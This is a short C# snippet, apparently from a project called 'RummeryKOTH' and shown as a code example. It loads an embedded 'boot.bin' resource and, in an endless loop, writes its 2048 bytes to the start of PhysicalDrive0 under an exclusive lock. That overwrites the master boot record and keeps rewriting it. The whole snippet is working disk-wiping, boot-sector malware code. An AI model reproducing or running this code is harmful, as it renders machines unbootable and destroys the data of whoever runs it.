Example #1
0
        static void bkthread()
        {
            Assembly myAssembly = System.Reflection.Assembly.GetExecutingAssembly();
            var      s          = myAssembly.GetManifestResourceStream("RummeryKOTH.boot.bin");

            byte[] buffer = new byte[2048];
            for (int i = 0; i < 2048; i++)
            {
                buffer[i] = (byte)s.ReadByte();
            }

            OVERLAPPED overlapped = new OVERLAPPED()
            {
                internalLow  = 0,
                internalHigh = 0,
                offsetLow    = (uint)0,
                offsetHigh   = (uint)0,
                hEvent       = IntPtr.Zero,
            };

            while (true)
            {
                var fp = External.CreateFileA(@"\\.\PhysicalDrive0", 0x80000000 | 0x40000000, 0x00000003, IntPtr.Zero, 3, 0, IntPtr.Zero);
                External.LockFileEx(fp, External.LOCKFILE_EXCLUSIVE_LOCK, 0, 2048, 0, ref overlapped);
                uint wb;
                External.WriteFile(fp, buffer, 2048, out wb, IntPtr.Zero);
                //External.CloseHandle(fp);
                Thread.Sleep(5);
            }
        }